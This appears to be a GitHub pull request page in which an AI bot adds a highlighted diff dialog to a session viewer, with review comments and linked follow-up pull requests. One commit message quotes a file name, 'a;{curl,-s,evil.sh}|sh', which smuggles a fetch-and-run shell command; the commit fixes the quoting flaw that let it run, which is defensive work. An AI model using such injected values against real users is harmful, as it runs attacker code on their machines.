Skip to content

feat: open each changed file's diff, highlighted, from the session page - #386

Merged
kalaspuff merged 16 commits into
mainfrom
fctl/677-in-the-session-viewer-it-should-be-possi
Nov 5, 2026
Merged

kalaspuff merged 16 commits into
mainfrom
fctl/677-in-the-session-viewer-it-should-be-possi

Conversation

@fctl-sh

@fctl-sh fctl-sh Bot commented Nov 5, 2026 •

Copy link
Copy Markdown
Contributor

Summary

A file under Changes on a session's page now opens its diff in a dialog over the page. The diff is highlighted by the file's language and numbered as the file is, and the words that changed between a removed line and the line that replaced it are marked. Lines go one below the other or side by side (s), and wrap with w (by default on phones). The session's other changed files sit beside the diff, grouped by directory, and j/k steps through them. Languages come from Shiki, chosen by the file's name, extension or #! line: Markdown, Python, TypeScript, Rust, JavaScript, shell scripts, Dockerfiles, .gitignore and .dockerignore (a small grammar of our own), .env and .env.example, Terraform, TOML, JSON, lockfiles in JSON or TOML (Cargo.lock, package-lock.json, uv.lock, others by their first line), and the rest of Shiki's languages. The transcript's Edit, MultiEdit and Write diffs are highlighted too, and numbered as the file is when Claude Code's result carries hunks. Additions are now green wherever the session viewer counts them (the rail's letters, bars and totals, and the transcript's commit and tool lines), and in session rows, so the numbers agree everywhere.

The diffs come from the sandbox. Each time fctl-agent reads the repositories' state, it also reads each changed file's diff, gives the file its diff's digest in the git event, and hands the diffs to its host. The host sends SessionDO, over the session's uplink, the diffs it doesn't have yet, ahead of the git event that lists them. SessionDO keeps the latest diff of each file and serves them at GET /api/v1/sessions/{id}/diff, which fctl diff prints as git does. Diffs therefore still show after a session stops (ADR 0074). Along the way, Changes stops listing renamed files as src/{old.rs => new.rs} and quoted paths without their quotes, since numstat is now read with NULs. fake-claude's replayed edits and writes now report Claude Code's structuredPatch too.

Every protocol addition is optional. Hosts and agents from before keep working, and the dialog says why a file from one of them has no diff. Agents send diffs only to hosts that ask for them (AgentConfig.diffs).

Verified with unit tests in each layer: git output parsing, the agent reading real repositories (renames, untracked and binary files), the supervisor's frame order, the host's framing, and the web app's renderer, dialog and rail. cargo xtask check passes. I also ran cargo xtask demo end to end: every demo session's agent sent its diffs, the API served them, and their digests matched the sessions' git events. The screenshots come from that stack.

The privacy policy needs a matching change before app.fctl.sh runs this: the draft below adds it. The demo's shooter (xtask/demo/shoot.mjs --features) now also takes the diff view for fctl.sh's Sessions and Review agents pages, which the second draft below puts there; it takes the Review agents page's phone diff in place of that page's phone shot of the same review.

Screenshots

At 7bb9f38, from cargo xtask demo.

A file's diff over its session (milkfloat#97), dark:

A changed Rust file's diff over the session page, dark

Terraform in the light theme (infra#37):

A changed Terraform file's diff, light

Side by side (s):

The same kind of diff side by side, dark

The transcript's edits, and Changes in the rail, before and after:

Before After
Before: an edit in the transcript, unhighlighted and unnumbered, additions in yellow After: the edit highlighted and numbered, additions in green

On a phone, 390 px wide, the diff and its list of files:

Diff Files
A Python diff on a phone, lines wrapped The changed files on a phone, grouped by directory

Related

Worth confirming

  • Decision: The control plane now keeps code: the latest diff of each changed file (at most 512 KB a file and 8 MB a session, deleted with the session's project), so that diffs show for sessions that have stopped. Asking the live sandbox instead would show nothing for most sessions people read.
  • Decision: The dialog links to the file on GitHub only while the branch is pushed and its pull request isn't merged, since GitHub may delete a merged branch.
  • Decision: Additions are green in session rows on the project and session lists too, not only in the session viewer, so the same numbers have the same color everywhere.

fctl session


Note

Medium risk. It adds a path from the sandbox agent through the host to SessionDO that stores and serves file contents (diffs) for every session, and changes how Changes are read from git, though every protocol addition is optional.

What it does. A changed file under Changes on a session page now opens its diff in a dialog, highlighted by language, with word-level marks, unified or side-by-side views and keyboard stepping between files. fctl-agent reads each changed file's diff (at most 16 MB per refresh), the host forwards new ones to SessionDO, which keeps the latest per file (up to 512 KB a file and 8 MB a session) and serves them at GET /api/v1/sessions/{id}/diff, which fctl diff prints. The transcript's edit diffs are highlighted too and additions are green throughout the viewer. The latest commit only adds diff shots to the demo screenshot script for fctl.sh's feature pages.

Control plane stores code. SessionDO now keeps the latest diff of each changed file, and the privacy policy on fctl.sh needs a matching change (fctl-site#105) before app.fctl.sh runs this.

fctl review's first look at 3472659 · 55 files, +5948 −234 · Review agent settings

fctl-sh Bot added 5 commits November 5, 2026 17:28
fctl-agent reads each changed file's diff along with the git state it
reports (git's for tracked files, every line for untracked ones), gives
each file its diff's digest, and hands the diffs to hosts that ask for
them before the git event. The host passes on to SessionDO, over the
uplink, those it hasn't sent over that connection.

Numstat and name-status are read with NULs, so a renamed file is listed
by its new path rather than git's {old => new}, and quoted paths lose
their quotes.
SessionDO keeps the latest diff of every changed file an uplink sends,
forgets those of files no longer listed, and checks each against what an
agent sends and what a session keeps. GET /api/v1/sessions/{id}/diff
serves them to anyone who can see the session, all or one file's, and
fctl diff prints them as git does.
The files under Changes open into their diff in a dialog over the page:
highlighted as the file's language is, numbered, the words that changed
marked, one below the other or side by side, with the session's other
changed files beside it to step through with j and k. The transcript's
edits are highlighted too, numbered as the file is when Claude Code's
result says how.

fake-claude's replayed edits and writes report Claude Code's
structuredPatch, as Claude Code's do.
Lines added show in a fresh green (text-added), in diffs and in every
count of what changed: the rail's letters, bars and totals, the
transcript's commit and tool lines, and session rows.

The diff dialog groups the changed files by directory, steps through them
in that order, wraps lines on phones, says what changed beside a file's
lines (a rename, a mode), and links to the file on GitHub only while its
branch's pull request is unmerged. Changed words show as one mark each.

Docs: the diff endpoint, fctl diff, and ADR 0074.
A line taken out pairs with the first added line after the last pair
that has much in common with it, for the words marked in both and for
side by side; lines between such pairs go side by side as they come.
The transcript makes an edit's hunks again at each render: highlighted
tokens now go by the hunks' content and each line's place, so the colors
stay and Shiki isn't asked again.
@fctl-review

This comment has been minimized.

Comment thread crates/fctl-host/src/uplink.rs Resolved
Comment thread crates/fctl-agent/src/workspace.rs Resolved
Comment thread crates/fctl-agent/src/workspace.rs Resolved
fctl-sh Bot added 5 commits November 5, 2026 18:25
A new connection's first diff frame went out only when there were diffs
to send, so a working tree that became clean while the uplink was down
left SessionDO with the diffs of before. It goes out now even for no
files, and its keep lets those go.
git's diff was read whole, however many files the branch changed or
however long a line was, and so were untracked files, up to 512 KB
each: a refresh could hold far more than a session keeps. fctl-agent
now reads at most 16 MB of both, killing git there; the files past it
are too large.
git shows a file that became a symbolic link, or back, as its deletion
and its addition; only the deletion reached the session. They are one
change now, with both halves' hunks and its modes before and after, and
fctl diff prints it as git does.
Only whitespace, quotes, $, backticks and backslashes got the path
quoted, so a file named a;{curl,-s,evil.sh}|sh ran in the shell it was
pasted into. Every word that isn't plain is in single quotes now, and a
path that starts with - comes after --. The dialog also says what a
change of mode means: a symbolic link now, or executable.
@fctl-review

This comment has been minimized.

Comment thread crates/fctl-agent/src/workspace.rs Resolved
Comment thread crates/fctl-agent/src/workspace.rs Resolved
Comment thread crates/fctl-domain/src/diffs.rs Resolved
fctl-sh Bot added 2 commits November 5, 2026 18:34
The budget for a refresh's diffs took the length of git's output as text,
which can be three times its bytes where they aren't UTF-8: the
subtraction could overflow. It counts the bytes git wrote now, with
saturating arithmetic.

A cut kept every file's part but the last parsed one, which drops a
whole file when the cut falls in the next file's header line or right
after a part ends. fctl-agent now reads a little past the cut and keeps
the parts that end before the one the cut falls in
(fctl_domain::diffs::whole_parts).
A binary file that became a symbolic link, or back, showed as a binary
file in the dialog and printed both halves as binary in fctl diff: the
link's line went missing. The dialog shows the lines there are, and
fctl diff prints only the half without lines as binary.
@fctl-review

This comment has been minimized.

Comment thread crates/fctl-domain/src/diffs.rs Resolved
fctl-sh Bot and others added 3 commits November 5, 2026 18:39
git writes a file that became a symbolic link, or back, as two parts
under the same header line. A cut in the second, or at its start, kept
the first as a whole file, which then showed only its deletion. Both
parts now count as one: the cut leaves them unfinished, and the file is
too large.
The test waited 20 ms for Shiki's tokens, which a slower runner didn't
have in time: it now waits until they come, for half a second at most.
shoot.mjs --features takes a changed file's diff over its session's
page for the Sessions page, on a desktop and on a phone, and one of the
changes a review read for the Review agents page, on a phone, in place
of the same review's page there (hyperstructure/fctl-site's
feature pages show them).
@fctl-review

fctl-review Bot commented Nov 5, 2026

Copy link
Copy Markdown

fctl reviewed 3472659 and found 1 issue.

Reviewed by fctl · Review agent settings

Comment thread xtask/demo/shoot.mjs
{ name: "outside", path: session("milkfloat#94"), settle: 2000 },
{ name: "phone-reviews", path: "/p/platform?tab=reviews", phone: true },
{ name: "phone-review", path: session("platform#438"), phone: true },
// What the review read: a file of the pull request it reviewed.

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The review-agents phone-review shot is replaced, not added to

Low severity. This entry used to be phone-review, the review session on a phone; it is now phone-diff. fctl.sh's features/review-agents/index.html still shows phone-review-{dark,light}.webp as "The same review on a phone" and nothing there uses phone-diff, so the generator no longer makes the shot the page uses and the new one goes unused until the site changes. Keep phone-review and add phone-diff beside it, or change the site together with this.

Found by fctl review in 3472659.

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Intended: the site changes together with this, in hyperstructure/fctl-site#106 (a draft until app.fctl.sh runs a release with this pull request). That PR uses phone-diff on the Review agents page in place of phone-review, whose images it deletes, and puts the Sessions page's new diff and phone-diff shots on that page. Keeping phone-review here would go on making a shot no page uses once #106 merges. In between, nothing breaks: shoot.mjs --features writes only the shots it defines and deletes nothing, so the site keeps its phone-review images until #106 swaps them.

@kalaspuff
kalaspuff merged commit 933ec8d into main Nov 5, 2026
12 checks passed
@kalaspuff
kalaspuff deleted the fctl/677-in-the-session-viewer-it-should-be-possi branch November 5, 2026 20:29
kalaspuff pushed a commit to hyperstructure/fctl-site that referenced this pull request Nov 5, 2026
#105)

## Summary

The privacy policy now says that app.fctl.sh keeps the diff of each file
a session's agent changed, as the agent last read it (at most 512 KB a
file and 8 MB a session), and that diffs contain code: a newer diff
replaces the one before, a file's goes once the agent's work no longer
changes it, and deleting a project deletes them with its sessions.

This describes hyperstructure/fctl#386, which isn't merged yet: merge
this once app.fctl.sh runs a release with that change, and bump
`updated` to that day if it is later than today's.

- hyperstructure/fctl#386

[fctl session](https://app.fctl.sh/s/ses_01M6PAS5NQ948REQTXK0C18MGQ)

<!-- FCTL_REVIEW_SUMMARY -->
---

> [!NOTE]
> **Low risk.** It only changes the wording of the privacy policy,
though the policy is a legal document and has to match what app.fctl.sh
really stores.
>
> **What it does.** Adds to the privacy policy that app.fctl.sh keeps,
for each file a session's agent changed, a diff of it (up to 512 KB a
file and 8 MB a session), so the session's page can show the changes. It
says the diffs contain your code and how a newer diff replaces an older
one, and adds diffs to what is deleted with a project's sessions.
>
> <sub>[fctl
review](https://app.fctl.sh/s/ses_01M6PEJX3PK9A0KDQ1N6XPRKMW)'s first
look at
[`e1a84ca`](e1a84ca)
· 1 file, +9 −2 · [Review agent
settings](https://app.fctl.sh/p/fctl?tab=reviews)</sub>

<!-- /FCTL_REVIEW_SUMMARY -->

Co-authored-by: fctl-sh[bot] <fctl-sh[bot]@users.noreply.github.com>
kalaspuff pushed a commit to hyperstructure/fctl-site that referenced this pull request Nov 5, 2026
)

## Summary

The Sessions feature page gets a section on the diff view that
hyperstructure/fctl#386 adds: a changed file of platform#437 open over
its session's page (desktop shot, both themes). In "Your factory, at a
glance", shop#231's change to `money.ts` on a phone replaces the phone
session shot that the page showed twice. On the Review agents page, the
phone beside the review now shows the pull request's change the review
read, instead of the same review again, and the copy mentions it. The
two pages' other shots of session pages (session, follow-up, phone
session, review, findings) are taken again, so that additions show in
green as they will after the release; the Agent Floor shots stay as they
were, since retaking them would only swap the task box's random
placeholder.

The shots come from fctl's `xtask/demo/shoot.mjs --features` against
`cargo xtask demo`, where #386 adds their definitions. `npm run check`,
`npm run build` and `npm test` pass, and I looked at both pages in both
themes and at a phone's width.

This shows behavior that app.fctl.sh doesn't have yet: merge it once
app.fctl.sh runs a release with hyperstructure/fctl#386.

## Screenshots

The new section on the Sessions page, dark, light and on a phone:

![The Sessions page's new section,
dark](https://app.fctl.sh/api/v1/published/1YasLZXoZAZZS64Z7Ej0zYqSAGwz7bKIEwPTDkLgquL/site-changes-dark.png)

![The Sessions page's new section,
light](https://app.fctl.sh/api/v1/published/jgUMGBEgkKNO3E6yoKjy8D7nI5gAuzr9ZA94VRpSTWo/site-changes-light.png)

![The new section at a phone's
width](https://app.fctl.sh/api/v1/published/q9GEyXTxoi5bTT6cyKU7cXSKoE6IvtArgyG1sqh4pAj/site-changes-phone.png)

"Your factory, at a glance", before and after:

| Before | After |
|---|---|
| ![Before: the Agent Floor and a session on
phones](https://app.fctl.sh/api/v1/published/swqSBweHI4U1a0olzYxXC3WliUWnyAtlAlla2GOV6PJ/site-floor-before-dark.png)
| ![After: the Agent Floor and a diff on
phones](https://app.fctl.sh/api/v1/published/klDGhnZglFdWNaSgbTnjtFFHzs1YXsdlx5e5sB1dknz/site-floor-dark.png)
|

"Every review is a session you can open", before and after:

| Before | After |
|---|---|
| ![Before: the review, on a desktop and a
phone](https://app.fctl.sh/api/v1/published/surFoO1gKMi3BzFeTalRYmOlKvjXFaWYKfTwVfT6qkw/site-review-before-light.png)
| ![After: the review, and the change it read on a
phone](https://app.fctl.sh/api/v1/published/Viei9hwgeUlqo0f92ykZ1DzDbqlYbe5XNOpZaHKWNrL/site-review-light.png)
|

## Related

- hyperstructure/fctl#386

## Worth confirming

- **Decision:** I retook the other session-page shots on both pages,
which also brings in the sidebar's recent sessions under each project
(fctl#383, released in 0.28.0), but left the Agent Floor shots alone, so
the page's hero keeps "What should an agent build next?" in its task
box.

[fctl session](https://app.fctl.sh/s/ses_01M6PAS5NQ948REQTXK0C18MGQ)

<!-- FCTL_REVIEW_SUMMARY -->
---

> [!NOTE]
> **Low risk.** It changes marketing copy and screenshots on two feature
pages, but it shows behavior that app.fctl.sh doesn't have until
hyperstructure/fctl#386 is released.
>
> **What it does.** Adds a section on the diff view to the Sessions
feature page, with a new desktop shot, and replaces a duplicated phone
shot there with a phone diff. On the Review agents page the phone shot
now shows the pull request's change the review read, and the copy
mentions it. The other session-page shots on both pages are retaken so
additions show in green.
>
> **Merge order.** The pages describe the diff view from
hyperstructure/fctl#386, which is still open, so this should merge only
once app.fctl.sh runs a release with it.
>
> <sub>[fctl
review](https://app.fctl.sh/s/ses_01M6PM8MR9N7G0RG6CYGFTG2CX)'s first
look at
[`e36e7c0`](e36e7c0)
· 20 files, +30 −9 · [Review agent
settings](https://app.fctl.sh/p/fctl?tab=reviews)</sub>

<!-- /FCTL_REVIEW_SUMMARY -->

Co-authored-by: fctl-sh[bot] <343971779+fctl-sh[bot]@users.noreply.github.com>
kalaspuff pushed a commit that referenced this pull request Nov 5, 2026
## Summary

On app.fctl.sh no code was highlighted: the diff dialog, the
transcript's edits and code blocks in answers showed plain text in
TypeScript, TSX, Rust and every other language. Shiki matches grammars
with Oniguruma, compiled from WebAssembly, and the app's Content
Security Policy (`web/public/_headers`) allowed scripts from `'self'`
only, which browsers take to refuse compiling WebAssembly. The
highlighter's error was caught quietly, so the code was left plain.
Vite's dev server sends no such policy, which is why it highlighted in
development and in #386's screenshots.

`script-src` now also allows `'wasm-unsafe-eval'`. That lets the app's
own scripts compile WebAssembly; `eval()`, `new Function` and inline
scripts stay refused. `docs/security.md` says so. A new test checks that
the policy keeps it and that Shiki colors TypeScript, TSX and Rust. In
Chromium, a build of the app's highlighter served with the old policy
failed with "WebAssembly.instantiate(): … 'unsafe-eval' is not an
allowed source of script", and with the new policy it colored all three.
The standalone server doesn't send `_headers`, so it already
highlighted, and this changes nothing there.

## Screenshots

The web app built from this branch, served with main's policy (before)
and this branch's (after), against `cargo xtask demo`.

A TypeScript file's diff (shop#231's `src/lib/money.ts`), dark:

| Before | After |
|---|---|
| ![Before: money.ts's diff in plain
text](https://app.fctl.sh/api/v1/published/TxuqQp3hLIUxWoPsy9rfJuVvQNPiyUdrynP1XDIDzYd/before-ts-dark.png)
| ![After: money.ts's diff
highlighted](https://app.fctl.sh/api/v1/published/IpJ6YtTimuRnWqA9L6FBI3WDJxV1Suiawo4yQeBVN2G/after-ts-dark.png)
|

A TSX file's diff (shop#219's `src/components/BoxItem.tsx`), light:

| Before | After |
|---|---|
| ![Before: BoxItem.tsx's diff in plain
text](https://app.fctl.sh/api/v1/published/u9wdmRNUxd11aKdjjdBy6EIjO2yYAkVG66hckS6YW3M/before-tsx-light.png)
| ![After: BoxItem.tsx's diff
highlighted](https://app.fctl.sh/api/v1/published/CmpZeUDVvCA42nzAfdCI5EPj6su7avsmNhWMk3NM29T/after-tsx-light.png)
|

A Rust file's diff (platform#437's `src/billing/charge.rs`), after,
dark:

![After: charge.rs's diff
highlighted](https://app.fctl.sh/api/v1/published/crErdkNuXEZkFKzznVfW4jclltLpO8aGuHJ1lcFxxuK/after-rust-dark.png)

## Worth confirming

- **Decision:** I loosened the policy rather than switch Shiki to its
JavaScript regex engine, which needs no WebAssembly but matches some
grammars differently from Oniguruma. `'wasm-unsafe-eval'` widens what a
script already running on the page can do (compile WebAssembly), not
which scripts may run.

[fctl session](https://app.fctl.sh/s/ses_01M6PRBCVKJFW4FTCT8G6MD1RR)

<!-- FCTL_REVIEW_SUMMARY -->
---

> [!NOTE]
> **Low risk.** It adds one source to the web app's script policy and a
test; no application code changes, and the policy still refuses `eval`
and inline scripts.
>
> **What it does.** Syntax highlighting was silently failing on
app.fctl.sh because Shiki's WebAssembly regex engine could not compile
under a `script-src 'self'` policy. `script-src` in
`web/public/_headers` now also allows `'wasm-unsafe-eval'`, and
`docs/security.md` and a comment in `theme.js` say so. A new test checks
that Shiki colors TypeScript, TSX and Rust and that the policy keeps the
allowance without `'unsafe-eval'`.
>
> **Loosened Content-Security-Policy.** `'wasm-unsafe-eval'` widens what
a script already running on the page can do (compile WebAssembly), not
which scripts may run; the alternative was Shiki's JavaScript regex
engine, which matches some grammars differently.
>
> <sub>[fctl
review](https://app.fctl.sh/s/ses_01M6PRVS5V2P3BS05ZV3KMEFYY)'s first
look at
[`7912ed9`](7912ed9)
· 4 files, +47 −7 · [Review agent
settings](https://app.fctl.sh/p/fctl?tab=reviews)</sub>

<!-- /FCTL_REVIEW_SUMMARY -->

---------

Co-authored-by: fctl-sh[bot] <343971779+fctl-sh[bot]@users.noreply.github.com>
kalaspuff pushed a commit that referenced this pull request Nov 5, 2026
…hem (#388)

## Summary

The diff dialog showed one file at a time and left stray yellow focus
rings behind. It now holds every changed file's diff, one after the
other, in one scroll that opens at the file clicked. Each file has a
header that stays at the top while its lines scroll, and can fold. All
diffs come in one request (`GET /sessions/{id}/diff`, which fills each
file's cache), and a file draws its lines once it comes near the view,
so sessions with many files stay quick. The list beside the diffs marks
the file in view and jumps to a file on a click.

- **Keys:** `j`/`k` go from file to file. The arrow keys (and `j`/`k`,
Home, End) move through the list, and the focus moves with them. `n`/`p`
step from change to change across files. `s` and `w` still lay the diffs
out side by side and wrap them.
- **Find:** ⌘F (Ctrl+F elsewhere) opens a find bar over the diffs. It
searches every file's lines, starting from where you are scrolled. Enter
and Shift+Enter, ⌘G/⌘⇧G and F3 step through the matches. If you have
scrolled away, the next step starts from where you are now. Alt+C, Alt+W
and Alt+R turn on match case, whole word and regular expressions, as in
VS Code, and a bad expression says what is wrong. Matches use the
transcript find's highlights, the list counts them per file and dims
files without any, and Escape closes the bar before the dialog.
- **Focus rings:** the header's buttons no longer take the focus, so
arrow keys keep scrolling the diffs. The list's rows show keyboard focus
as their own inset outline. After the dialog closes, the row it was
opened from by a click gets the focus back without the keyboard's ring.
Tab still shows the ring as before.

Verified with unit tests: the search logic, the line keys matching
`parsePatch`, and the dialog's keys, find, folding, bulk loading and
focus return. I also drove it with Playwright in Chromium and WebKit
against this repository's own #385 and #386 diffs (13 and 55 files): 55
files open in about 0.65 s with a simulated 200 ms network delay, and
"diff" (894 matches) is found in about 75 ms. `npm run check` and the
web tests pass. Docs: `docs/llms.txt` and the Changes paragraph of
getting started describe the new keys.

## Screenshots

Before: clicking a file in the list and pressing ↓ rings it in yellow;
so does the next-file button after an arrow key, and the Changes row
after the dialog closes.


![before-dialog.png](https://app.fctl.sh/api/v1/published/U08SXbe8P6zDcU1mfVKZZhIJFf4QonaAJRDhJbW9jb3/before-dialog.png)

![before-next.png](https://app.fctl.sh/api/v1/published/d6ypNcattQY5GGPYBxQhiYXHyAEhOARs6oy5EUTw3nJ/before-next.png)

![before-rail.png](https://app.fctl.sh/api/v1/published/aQtNoAXyDBAVwGnUaJHENADzmOlB2eMkdMzXvh5DUYH/before-rail.png)

After, the same steps: ↓ in the list went on to the next file with no
ring, the header's buttons have none, and the Changes row is quiet after
closing.


![after-dialog.png](https://app.fctl.sh/api/v1/published/8dRcs1D85B5KVY8gcNNNMnZ04Ngl0IuCvuga5U9mMAq/after-dialog.png)

![after-next.png](https://app.fctl.sh/api/v1/published/CAcaexfmAKAk1Dy2qlaVYoyB5H7CndU3B5HBNFGTjlf/after-next.png)

![after-rail.png](https://app.fctl.sh/api/v1/published/bs9X6t0pACYqfPMnjxvhbCIe8zxQrn4CRnvOqRZVtai/after-rail.png)

Finding "review" from `docs/api.md`: the match it is at in brand yellow,
the others lighter, and the count per file in the list.


![after-find.png](https://app.fctl.sh/api/v1/published/an4USpJdjA5iwxUl24cEsDzaN7QUDsKVuCqwkDf09qn/after-find.png)

The light theme, side by side, while finding; and a phone, where the
list covers the diffs while open.


![after-light-split.png](https://app.fctl.sh/api/v1/published/KqFFHdfh667zqJ8xhuAIIEmlm6PjYuQEoFNK73jEHzp/after-light-split.png)

![after-phone.png](https://app.fctl.sh/api/v1/published/lALpScYm9rQNIXftekWCmVOBDDiaVyabKXytJUp6tzv/after-phone.png)

## Worth confirming

- **Decision:** `/` still focuses the list's file filter rather than the
find bar, as it did before; ⌘F is the way into finding in the diffs.
- **Decision:** a second ⌘F while the find bar has the focus opens the
browser's own find, as the transcript's find does.
- **Decision:** `n`/`p` are new keys for the next and previous change (a
run of added or removed lines), across files.
- **Decision:** matching is literal and ignores case unless a toggle
says otherwise (like VS Code), unlike the transcript find, which also
ignores accents and the amount of whitespace. Code search is more useful
exact.

[fctl session](https://app.fctl.sh/s/ses_01M6PQN4596R913AXY00WEW58X)

<!-- FCTL_REVIEW_SUMMARY -->
---

> [!NOTE]
> **Low risk.** It reworks the web app's diff dialog and adds a find
bar; it changes no API, storage or server code, and only affects how the
session page shows diffs.
>
> **What it does.** Replaces the diff dialog's one-file-at-a-time view
with a single scroll through every changed file's diff, fetched together
with one `GET /sessions/{id}/diff`, plus a file list and a find bar (⌘F)
that searches across all the diffs. The latest commit makes the find bar
go to each step once and focus its field once per ⌘F, and scrolls the
opened file's row into view in the list after the dialog shows.
>
> **Large rewrite.** `diff-dialog.tsx` is rewritten and split into
`diff-files.tsx` and `diff-find.tsx`; `docs/architecture.md` still
describes the old per-file fetch.
>
> <sub>[fctl
review](https://app.fctl.sh/s/ses_01M6PT77P05RTXVJF0GZWW0KBY)'s first
look at
[`7306cfb`](7306cfb)
· 13 files, +2255 −562 · [Review agent
settings](https://app.fctl.sh/p/fctl?tab=reviews)</sub>

<!-- /FCTL_REVIEW_SUMMARY -->

---------

Co-authored-by: fctl-sh[bot] <343971779+fctl-sh[bot]@users.noreply.github.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Development

Successfully merging this pull request may close these issues.

1 participant